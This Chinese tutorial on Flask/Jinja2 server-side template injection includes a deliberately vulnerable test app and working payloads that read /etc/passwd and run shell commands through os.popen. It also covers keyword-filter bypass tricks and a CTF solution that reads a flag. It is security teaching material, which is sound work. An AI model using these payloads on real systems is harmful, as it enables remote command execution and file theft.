专栏首页小白帽学习之路(精编)Python与安全(三)SSTI服务器模板注入

(精编)Python与安全(三)SSTI服务器模板注入

此文章为原创连载文章,关注公众号,持续更新。

SSTI基本判断

Python中的魔术方法

__dict__保存类实例或对象实例的属性变量键值对字典

__class__返回类实例或对象实例所属的对象

__mro__返回一个包含类或对象所继承的基类元组。方法在解析式按照元组的顺序解析,从自身所属类到<class'object'>。

__bases__返回类所继承的基类。但不包含所继承类的父类。

__init__类的初始化方法

__globals__对包含函数全局变量的引用

__subclasses__()获取一个类的子类,返回的是一个列表

下面是示例,自己可以运行一下看看,会理解的更快(我运行环境是3.7的)

class people:
    name = ''
    age = 0
    __weight = 0
    def __init__(self, n, a, w):
        self.name = n
        self.age = a
        self.__weight = w
    def speak(self):
        pass
class student(people):
    grade = ''
    def __init__(self, n, a, w, g):
        people.__init__(self, n, a, w)
        self.grade = g
    def speak(self):
        pass
class speaker():
    topic = ''
    name = ''
    def __init__(self, n, t):
        self.name = n
        self.topic = t
    def speak(self):
        pass
class sample(speaker, student):
    a = ''
    def __init__(self, n, a, w, g, t):
        student.__init__(self, n, a, w, g)
        speaker.__init__(self, n, t)
test = sample("Tim", 25, 80, 4, "Python")

#测试

print(test.__dict__)
print(test.__class__)
print(sample.__mro__)
print(sample.__bases__)
print(sample.__init__)
print(sample.speak.__globals__)
print(sample.__init__.__globals__)
print(speaker.__subclasses__())
print(sample.__subclasses__())

Python注入语句

以下语句均在python3.7.7环境中测试。

测试脚本:

# -*- coding:utf8 -*-
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/<str>')
def hello_world(str):
    template = '''
    {%% block body %%}
        <div>
            <h1>Here is test!!!</h1>
            <h3>%s</h3>
        </div> 
    {%% endblock %%}
    '''%(str)
    return render_template_string(template)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

1 获取基本类

首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如flask.request):

''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

2 文件读取

<class '_frozen_importlib._ModuleLock'>

{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}

上面的''.__class__.__mro__[1].__subclasses__()[75]等于

<class '_frozen_importlib._ModuleLock'>,下面同理。

<class 'click.utils.LazyFile'>

{{ ''.__class__.__mro__[1].__subclasses__()[345]('test.txt').read()}}

3 命令执行

<class 'warnings.catch_warnings'>

{{ ''.__class__.__mro__[1].__subclasses__()[183].__init__.__globals__.values()['eval']('__import__("os").popen('id').read()') }}

<class '_frozen_importlib._ModuleLock'>

''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__

下有eval,__import__等的全局函数,可以利用此来执行命令:

#eval
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

代码注入

我们可以参考P神的文章(https://github.com/vulhub/vulhub/tree/master/flask/ssti)

p神构造的语句:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

其实我们我们也可以参考上面自己代码自己写。

在上面的注入语句中,虽然简短,但是在不同版本的python中就会有一下差别,所以不能完全的通用,但是代码注入这不需要太多考虑python版本问题。

比如我们可以把文件读取语句写成代码:

示例:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == '_ModuleLock' %}
  {% for b in c.__init__.__globals__ %}
           {%if b =='__builtins__' %}
                   {% print(c.__init__.__globals__['__builtins__']['open']('test.txt').read()) %}
           {%endif%}
  {% endfor %}
{% endif %}
{% endfor %}

自己可以动手试试。

常用绕过

1 过滤[]和.

只过滤[]

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

''.__class__.__mro__.__getitem__(1).__subclasses__().pop(40)('/etc/passwd').read()

若.也被过滤,使用原生JinJa2函数|attr()

将request.__class__改成request|attr("__class__")

2 过滤_

利用request.args属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的request.args改为request.values则利用post的方式进行传参

3 关键字过滤

(1) base64编码绕过

__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

(2)字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

(3)使用session

poc{{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

{{session['__cla'+'ss__'].__mro__[12]}}

或者

request['__cl'+'ass__'].__mro__[12]}}

4 过滤{{

使用{% if ...%}1{% endif %},例如

{%if’’.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()%}1{% endif %}

5 Tips

(1)使用__base__

如`{}.__class__.__base__`

和`{}.__class__.__bases__[0]`效果一样

(2)可用于访问对象的属性:

request.__class__
request["__class__"]
request|attr("__class__")

(3)下面方法访问数组元素:

array[0]
array.pop(0)
array.__getitem__(2)

案例分析

案例是GYCT2020的FlaskAPP,可以到BUUCTF(https://buuoj.cn/challenges)中找到题目。

可以直接利用P神写的POC进行getshell,但有过滤,可以拆分关键词进行绕过:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fla'+'g.txt").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

先对上面的POC进行base64加密再解密:

参考:

https://www.cnblogs.com/20175211lyz/p/11425368.html

https://xz.aliyun.com/t/3679#toc-11

https://www.smi1e.top/flask-jinja2-ssti-%E5%AD%A6%E4%B9%A0/

本文分享自微信公众号 - 程序员阿甘(gh_a2e36d69d566),作者:小生归一

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-04-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 靶机闯关 DC-8

    使用netdiscover二层扫描工具获取靶机IP为192.168.111.137后

    7089bAt@PowerLi
  • 从Vulbhub-djinn靶机学习命令注入和Python input() 漏洞

    靶机描述:Level: Beginner-Intermediate flags: user.txt and root.txt Description: The ...

    7089bAt@PowerLi
  • Joomla 3.4.6 远程代码执行漏洞复现

    可以在Linux、Windows、MacOSX等各种不同的平台上执行。目前由Open Source Matters开源组织进行开发与支持。

    7089bAt@PowerLi
  • Selenium2+python自动化73-定位的坑:class属性有空格

    前言 有些class属性中间有空格,如果直接复制过来定位是会报错的InvalidSelectorException: Message: The given s...

    上海-悠悠
  • 每天一道 python 面试题 - Python中的元类(metaclass) 详细版本

    在理解元类之前,您需要掌握Python的类。Python从Smalltalk语言中借用了一个非常特殊的类概念。

    公众号---志学Python
  • CSS团队协作规范

    手机开启网页很吃手机效能和网络状况,前端工程师一开始就以手机版为优先,可以让HTML一开始载入,使用最少的效能快速载入网页。当开始制作桌面版时,只会少许跑版,做...

    猿哥
  • 每天一道 python 面试题 - Python中的元类(metaclass) 详细版本

    在理解元类之前,您需要掌握Python的类。Python从Smalltalk语言中借用了一个非常特殊的类概念。

    公众号---志学Python
  • laravel中进行模块开发

        命令:  php artisan make :module 后面写模块名称  (示例中使用Admin)

    Sindsun
  • 【Sqoop】数据转换工具Sqoop

    版权声明:本文为博主原创文章,转载请注明出处。 https://blog.csdn.net/...

    魏晓蕾
  • MySQL索引-基础版

    如果是char、varchar类型,length可以小于字段实际长度。如果是blob和text类型,必须指定 length

    Java学习录

扫码关注云+社区

领取腾讯云代金券